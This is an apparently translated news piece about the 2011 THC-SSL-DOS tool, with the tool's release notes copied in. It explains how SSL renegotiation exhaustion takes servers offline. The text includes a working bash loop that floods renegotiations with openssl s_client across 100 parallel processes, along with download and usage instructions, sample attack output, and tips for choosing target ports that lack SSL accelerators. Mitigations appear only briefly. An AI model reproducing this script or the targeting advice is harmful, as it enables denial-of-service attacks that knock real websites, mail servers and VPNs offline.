The latest SSL DDoS attack tool released by hackers

The German hacker organization "the hacker's choice" released THC SSL dos uses known vulnerabilities in SSL to quickly consume server resources. Unlike traditional DDoS tools, SSL dos does not require any bandwidth and only needs one computer that performs a single attack. The vulnerability exists in the Protocol's renegotiation process. renegotiation is used for browser-to-server verification. Websites can use HTTPS without enabling the renegotiation process, but researchers note that many websites still enable renegotiation by default. The attack tool only needs to re-request the encryption key to create up to 1000 concurrent connections on the server side and the client side, quickly consuming server resources, resulting in websites providing secure connections being attacked and deprecated. Therefore, SSL servers face major threats to such tools, including web servers and email servers. It even includes firewalls and SSL of some security equipment vendors. VPN also has the same problem. THC-SSL-DOS By the hacker's choice 2011-OCT-24 UPDATE:SSL-DOS released. Some organizations already found outabout this release a while ago and mistakenly identified it as anSSL-RENEGOTIATION BUG. This is not true. The tool can be modified to work without SSL-RENEGOTIATION by just establishing a new TCP connection for everynew handshake. 2011-OCT-24: News Articles:http://thehackerschoice.wordpress.com/2011/10/24/thc-ssl-dos/http://www.theregister.co.uk/2011/10/24/ssl_dos_tool_released/http://www.zdnet.co.uk/news/security-threats/2011/10/25/hacking-tool-targets-ssl-vulnerability-40094270/http://www.wired.com/threatlevel/2011/10/ssl-dos/http://news.cnet.com/8301-1009_3-20125058-83/new-attack-tool-targets-web-servers-using-secure-connections/ 2011-OCT-25 PRIVATE RELEASE:People are asking us about the private release that works against serversthat do not support SSL renegotiation. We will not release it.Meanwhile the good news is that openssl can be used to perform the same attackIt's not as elegant as the private thc-ssl-dos but works quite well indeed.2 simple commands in bash:-----BASH SCRIPT BEGIN-----thc-ssl-dosit() { while :; do (while :; do echo R; done) | openssl s_client -connect 127.0.0.1:443 2>/dev/null; done }for x in `seq 1 100`; do thc-ssl-dosit & done-----BASH SCRIPT END------- ______________ ___ _________ \__ ___/ | \ \_ ___ \ | | / ~ \/ \ \/ | | \ Y /\ \____ |____| \___|_ / \______ / \/ \/http://www.thc.orgTHC-SSL-DOS is a tool to verify the performance of SSL.Establishing a secure SSL connection requires 15x more processingpower on the server than on the client. THC-SSL-DOS exploits this asymmetric property by overloading theserver and knocking it off the Internet. This problem affects all SSL implementations today. The vendors are awareof this problem since 2003 and the topic has been widely discussed.This attack further exploits the SSL secure Renegotiation featureto trigger thousands of renegotiations via single TCP connection.Download: Windows binary: thc-ssl-dos-1.4-win-bin.zip Unix Source : thc-ssl-dos-1.4.tar.gz Use "./configure; make all install" to build.Usage:./thc-ssl-dos 127.3.133.7 443Handshakes 0 [0.00 h/s], 0 Conn, 0 ErrSecure Renegotiation support: yesHandshakes 0 [0.00 h/s], 97 Conn, 0 ErrHandshakes 68 [67.39 h/s], 97 Conn, 0 ErrHandshakes 148 [79.91 h/s], 97 Conn, 0 ErrHandshakes 228 [80.32 h/s], 100 Conn, 0 ErrHandshakes 308 [80.62 h/s], 100 Conn, 0 ErrHandshakes 390 [81.10 h/s], 100 Conn, 0 ErrHandshakes 470 [80.24 h/s], 100 Conn, 0 Err Comparing flood DDoS vs. SSL-Exhaustion attack:A traditional flood DDoS attack cannot be mounted from a single DSL connection.This is because the bandwidth of a server is far superior to thebandwidth of a DSL connection: A DSL connection is not an equal opponent tochallenge the bandwidth of a server.This is turned upside down for THC-SSL-DOS: The processing capacity forSSL handshakes is far superior at the client side: A laptop on a DSLconnection can challenge a server on a 30Gbit link.Traditional DDoS attacks based on flooding are sub optimal: Servers areprepared to handle large amount of traffic and clients are constantlysending requests to the server even when not under attack. The SSL-handshake is only done at the beginning of a secure session andonly if security is required. Servers are _not_ prepared to handlelarge amount of SSL Handshakes.The worst attack scenario is an SSL-Exhaustion attack mounted fromthousands of clients (SSL-DDoS). Tips & Tricks for whitehats1. The average server can do 300 handshakes per second. This would require 10-25% of your laptops CPU. 2. Use multiple hosts (SSL-DOS) if an SSL Accelerator is used.3. Be smart in target acquisition: The HTTPS Port (443) is not always the best choice. Other SSL enabled ports are more unlikely to use an SSL Accelerator (like the POP3S, SMTPS, ... or the secure database port). Counter measurements:No real solutions exists. The following steps can mitigate (but not solve)the problem:1. Disable SSL-Renegotiation2. Invest into SSL AcceleratorEither of these countermeasures can be circumventing by modifyingTHC-SSL-DOS. A better solution is desireable. Somebody should fixthis.Yours sincerely,The Hackers Choiocehttp://www.thc.org